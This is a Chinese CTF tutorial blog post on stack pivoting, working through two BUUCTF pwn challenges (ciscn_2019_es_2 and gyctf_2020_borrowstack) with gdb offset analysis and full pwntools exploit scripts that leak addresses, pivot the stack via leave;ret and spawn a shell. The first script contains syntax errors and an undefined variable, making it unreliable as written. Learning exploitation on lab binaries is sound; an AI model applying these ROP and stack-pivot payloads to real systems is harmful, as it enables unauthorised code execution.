一:栈迁移是什么
二:有什么作用:
作用一:顾名思义就是迁移栈,这样可以扩大我们溢出的空间,因为有时候溢出的空间只可以修改ebp或者ret
作用二:任意地址写,具体的可以看这位师傅:pwn技术分享-栈迁移1_哔哩哔哩_bilibili
三:原理是什么
原理网上有许多写的非常好的,这里我推荐:https://zikh26.github.io/posts/ee1dcd7f.html#BUUCTF%E4%B8%8A%E7%9A%84gyctf-2020-borrowstack ,主要搞明白ebp和ebp的内容是不同的以及函数的一些初始化和修改的是什么东西和leave指令和ret指令是什么就可以,
四:例题
[BUUCTF]ciscn_2019_es_2解析(迁移到栈上)
思路
首先使用 checksec 观察二进制文件 ciscn_2019_es_2 的保护属性,发现仅「NX 栈执行保护」是开启的。之后,将题目给出的二进制文件拖入IDA 32bit,容易发现在 vuln 函数中,直接使用 read 函数读取输入到栈上,如下图所示。
首先我们要明确本题是不能直接在bss段或者栈中写入shellcode来执行的,应该是设法调用system来,然后我们用shift+f12可以查找字符串,容易发现给了一个在hack()中调用了system函数,但是这个函数只是用来打印出“flag”这个字符串的,所以我们需要利用read函数“bin/sh”写到可写字段上 然后再通过控制程序返回这里才可以完成getshell。
再联系vul()函数中的read,可以发现,read可以读取0x30个字符串,但是s只有0x28个字符串,所以我们可以通过这个完成栈溢出,但是0x30-0x28=0x8,我们又知道构造一个最短的ROP链需要0x20的长度,所以这里溢出的长度明显不足,我们就要考虑将栈进行迁移以达到我们扩大溢出长度构造ROP链的目的。
寻找前期条件
我们都知道战迁移是通过利用两次leave_ret来实施栈迁移,具体原理我们不在这里多进行赘述,我们在先进行leave_ret的查找。
system函数的具体位置的查找
step1
我们首先进入gdb调试,在main函数和vul函数中nop处下一个断点
然后我们在输入时输入“aaaa”,观察栈中的布局来进行ebp的定位即可
此时可以看到,esp即“aaaa”的位置是0xffffcff0,而ebp寄存器位于 0xffffd018,而该地址所存“内容”,即”栈上 ebp“ 为 0xffffd028,为上层main函数的old ebp,0xffffd028-0xffffcff0=0x38,这说明栈上的s的位置距离old_ebp的位置相聚0x38,意思是说,只要用printf泄露出old_ebp的位置,再减去0x38即可是我们想要迁移的位置。(ebp和ebp存储的内容不同)
step2
进行ROP链的构造第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节接着跟上system函数的地址,后面是执行完system函数后的返回地址,这边也可以随便写之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串,最后将参数0x28长的s补齐
from pwn import * io = remote('node4.buuoj.cn',27422) systeam_addr=0x08048400 leave_ret_addr=0x080485FD payload = b'a'*24+b'c'*4 io.recvuntil('name?\n') io.send(payload) io.recvuntil('cccc') old_ebp_addr = u32(io.recv(4)) #print(hex(addr)) payload = b'aaaa' payload+ = p32(systeam_addr) payload+ = b'dddd' payload+ = p32(addr-0x38+0x10)+b"/bin/sh" payload+ = payload.ljust(0x28,b'\x00') payload+ = p32(old_ebp_addr-0x38) payload+ = p32(leave_ret_addr) io.send(payload) io.interactive()
gyctf_2020_borrowstack(迁移到bss段)
第一个read可以溢出,第二个read是往bss段上写入内容,通过第一个read溢出0x10字节,只能够覆盖到ret,所以利用栈迁移,让它跳转去bank处,往bank里写入我们的rop链获取shell
泄露libc版本后下载使用one-gadget来打,至于用哪一个,不嫌麻烦就调试一下就行,不然就一个个试一试。
当然因为bss段有离got表很近,所以我们迁移栈过来后会生成新的栈帧,可能会破坏低地址的东西,解决方法之一是抬高栈地址,当然我也是看了wp之后才知道的。。
from pwn import* file_name = './borrowstack' #io = process(file_name) libc = ELF('./libc6_2.23-0ubuntu10_amd64.so') io = remote('node5.buuoj.cn',26464) elf = ELF(file_name) context(arch='amd64',os='linux',log_level='debug') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x400703 leave_ret = 0x400699 bss_addr = 0x601080 ret_addr=0x4004c9 main_addr = 0x400626 payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret) io.recvuntil('want\n') io.send(payload) payload=p64(ret_addr)*20 payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) payload+=p64(main_addr) io.recvuntil('now!\n') io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=puts_addr-libc.symbols['puts'] print("put_addr :",hex(puts_addr)) one_gadget=libc_base+0x4526a payload=b'a'*(0x60+8)+p64(one_gadget) io.send(payload) io.interactive()
(如有问题请联系我)
标签:总结,addr,puts,ret,学习,ebp,io,迁移,payload From: https://www.cnblogs.com/ModesL/p/17962587